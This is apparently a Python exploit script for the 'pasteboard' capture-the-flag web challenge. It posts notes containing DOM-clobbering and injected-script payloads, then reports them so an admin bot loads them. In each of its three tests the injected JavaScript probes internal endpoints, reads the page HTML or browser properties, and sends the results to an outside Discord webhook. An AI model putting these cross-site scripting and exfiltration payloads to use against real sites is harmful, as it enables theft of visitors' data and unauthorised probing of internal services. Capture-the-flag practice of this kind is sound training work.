#!/usr/bin/env python3
"""
Alternative Approach - Since CDP is blocked, test other vectors
Using Discord webhook for better visibility
"""
import requests
import time
from urllib.parse import urljoin
import json

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1459424345695715369/Gnx874Rcb7-ZXqQ6VDy-M_nSB-Su9R8KHIkcyj890gv1e60djv89CJbCkyRi-QPc-HvH"


def send_discord(message):
    """Helper to send to Discord"""
    requests.post(DISCORD_WEBHOOK, json={"content": f"```{message}```"})

# Since CDP is blocked, let's check what the writeup ACTUALLY needs
# The backdoor writeup had an SSRF endpoint: /admin/doHttpReq
# Maybe this challenge has something similar?


# Test 1: Check for internal endpoints
js_test1 = f"""
fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Test 1: Checking internal endpoints'}})
}}).then(()=>{{
let paths=['/admin','/admin/doHttpReq','/internal','/api','/debug'];
return Promise.all(paths.map(p=>
fetch(p).then(r=>{{return{{path:p,status:r.status}}}}).catch(e=>{{return{{path:p,error:'blocked'}}}})
));
}}).then(results=>{{
return fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Internal endpoints:\\n'+JSON.stringify(results,null,2)}})
}});
}});
""".replace('\n', ' ').strip()

payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_test1}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("="*80)
print("🔍 ALTERNATIVE APPROACH - Discord Webhook")
print("="*80)
print("Since CDP ports are blocked, testing other vectors")
print("="*80)

send_discord("Starting alternative approach tests...")

# Test 1: Internal endpoints
print("\n[*] Test 1: Checking for internal endpoints...")
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Internal Endpoints", "body": payload1},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")
    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        time.sleep(12)

# Test 2: Check if we can read our OWN paste that might contain flag
js_test2 = f"""
fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Test 2: Reading current page'}})
}}).then(()=>{{
let html=document.documentElement.outerHTML;
let hasFlag=html.includes('uoftctf');
return fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Current page has flag: '+hasFlag+'\\nHTML length: '+html.length}})
}});
}});
""".replace('\n', ' ').strip()

payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_test2}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("\n[*] Test 2: Checking current page content...")
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Page Content", "body": payload2},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")
    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")
        time.sleep(12)

# Test 3: Check navigator/window for selenium properties that might expose data
js_test3 = f"""
let data={{
webdriver:navigator.webdriver,
chrome_exists:typeof chrome!=='undefined',
automation:navigator.automation,
plugins:navigator.plugins.length,
languages:navigator.languages.join(',')
}};
fetch('{DISCORD_WEBHOOK}',{{
method:'POST',
headers:{{'Content-Type':'application/json'}},
body:JSON.stringify({{content:'Navigator data:\\n'+JSON.stringify(data,null,2)}})
}});
""".replace('\n', ' ').strip()

payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_test3}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

print("\n[*] Test 3: Checking navigator properties...")
response = requests.post(
    urljoin(CHALLENGE_URL, "/note/new"),
    data={"title": "Navigator Props", "body": payload3},
    allow_redirects=False
)

if response.status_code == 302:
    note_path = response.headers.get('Location')
    print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")
    time.sleep(1)

    report_response = requests.post(
        urljoin(CHALLENGE_URL, "/report"),
        data={"url": note_path}
    )

    if report_response.status_code == 202:
        print(f"[+] Queued!")

print("\n" + "="*80)
print("✅ ALL TESTS QUEUED")
print("="*80)
print("📊 Check Discord channel for results")
print("="*80)

send_discord("All tests queued - waiting for results...")
